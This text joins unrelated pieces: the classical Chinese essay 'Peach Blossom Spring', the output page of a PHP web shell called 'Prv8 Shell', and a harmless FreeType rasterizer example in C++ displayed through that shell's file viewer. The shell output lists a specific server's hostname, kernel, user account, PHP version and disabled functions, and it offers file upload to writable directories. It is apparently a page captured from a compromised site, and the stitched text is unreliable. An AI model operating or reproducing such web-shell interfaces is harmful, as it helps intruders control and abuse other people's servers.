晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/freetype-devel/tutorial/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/freetype-devel/tutorial/example3.cpp
// example3.cpp

// This file demonstrates how to use FreeType's stand-alone B/W renderer.
//
// Copy the files ftraster.c, ftimage.h, and ftmisc.h into the same
// directory as this file, then say
//
//   g++ -D STANDALONE_ \
//       -o example3 example3.cpp
//
// You need FreeType version 2.3.10 or newer.
//
// Written Sep. 2009 by Werner Lemberg,
// based on code contributed by Erik Möller.
//
// Public domain.

#include "ftraster.c"
#include <fstream>

// Define an acorn-like shape to test with.
struct Vec2
{
  Vec2(float a, float b) : x(a), y(b) { }

  float x, y;
};

static Vec2 k_shape[] =
{ Vec2(-3, -18), Vec2(0, -12), Vec2(6, -10), Vec2(12, -6), Vec2(12, -4),
  Vec2(11, -4), Vec2(10, -5), Vec2(10, 1), Vec2(9, 6), Vec2(7, 10),
  Vec2(5, 12), Vec2(4, 15), Vec2(3, 14), Vec2(1, 13), Vec2(-1, 13),
  Vec2(-5, 11), Vec2(-8, 8), Vec2(-11, 2), Vec2(-11, -2), Vec2(-14, 0),
  Vec2(-14, -2), Vec2(-11, -7), Vec2(-9, -9), Vec2(-8, -9), Vec2(-5, -12),
  Vec2(-5, -14), Vec2(-7, -15), Vec2(-8, -14), Vec2(-9, -15), Vec2(-9, -17),
  Vec2(-7, -17), Vec2(-6, -18)
};

void*
MY_Alloc_Func(FT_Memory /* memory */,
              long size)
{
  return malloc((size_t)size);
}

void
MY_Free_Func(FT_Memory /* memory */,
             void *block)
{
  free(block);
}

void*
MY_Realloc_Func(FT_Memory /* memory */,
                long /* cur_size */,
                long new_size,
                void* block)
{
  return realloc(block, (size_t)new_size);
}


static FT_Memory mem;


// Render a shape and dump it out as out-mono.pbm (b/w) and
// out-gray.pgm (grayscale).
int
main()
{
  // Set up the memory management.
  mem = new FT_MemoryRec;
  mem->alloc = MY_Alloc_Func;
  mem->free = MY_Free_Func;
  mem->realloc = MY_Realloc_Func;


  // Build an outline manually.
  FT_Outline_ outline;
  outline.n_contours = 1;
  outline.n_points = sizeof (k_shape) / sizeof (Vec2);
  outline.points = new FT_Vector[outline.n_points];
  for (int i = 0; i < outline.n_points; ++i)
  {
    FT_Vector v;
    // Offset it to fit in the image and scale it up 10 times.
    v.x = (20 + k_shape[i].x) * 10 * 64;
    v.y = (20 + k_shape[i].y) * 10 * 64;
    outline.points[i] = v;
  }
  outline.tags = new char[outline.n_points];
  for (int i = 0; i < outline.n_points; ++i)
    outline.tags[i] = 1;
  outline.contours = new short[outline.n_contours];
  outline.contours[0] = outline.n_points - 1;
  outline.flags = 0;


  const int width = 500;
  const int rows = 400;

  // 1 bit per pixel.
  const int pitch_mono = (width + 7) >> 3;


  FT_Bitmap bmp;
  FT_Raster raster;
  FT_Raster_Params params;


  // Allocate a chunk of memory for the render pool.
  const int kRenderPoolSize = 1024 * 1024;
  unsigned char *renderPool = new unsigned char[kRenderPoolSize];


  // Set up a bitmap.
  bmp.buffer = new unsigned char[rows * pitch_mono];
  memset(bmp.buffer, 0, rows * pitch_mono);
  bmp.width = width;
  bmp.rows = rows;
  bmp.pitch = pitch_mono;
  bmp.pixel_mode = FT_PIXEL_MODE_MONO;

  // Set up the necessary raster parameters.
  memset(&params, 0, sizeof (params));
  params.source = &outline;
  params.target = &bmp;

  // Initialize the rasterer and get it to render into the bitmap.
  ft_standard_raster.raster_new(mem, &raster);
  ft_standard_raster.raster_reset(raster, renderPool, kRenderPoolSize);
  ft_standard_raster.raster_render(raster, &params);

  // Dump out the raw image data (in PBM format).
  std::ofstream out_mono("out-mono.pbm", std::ios::binary);
  out_mono << "P4 " << width << " " << rows << "\n";
  out_mono.write((const char *)bmp.buffer, rows * pitch_mono);

  // Cleanup.
  delete[] renderPool;
  delete[] bmp.buffer;
  delete[] outline.points;
  delete[] outline.tags;
  delete[] outline.contours;
  delete mem;

  return 0;
}

haha - 2025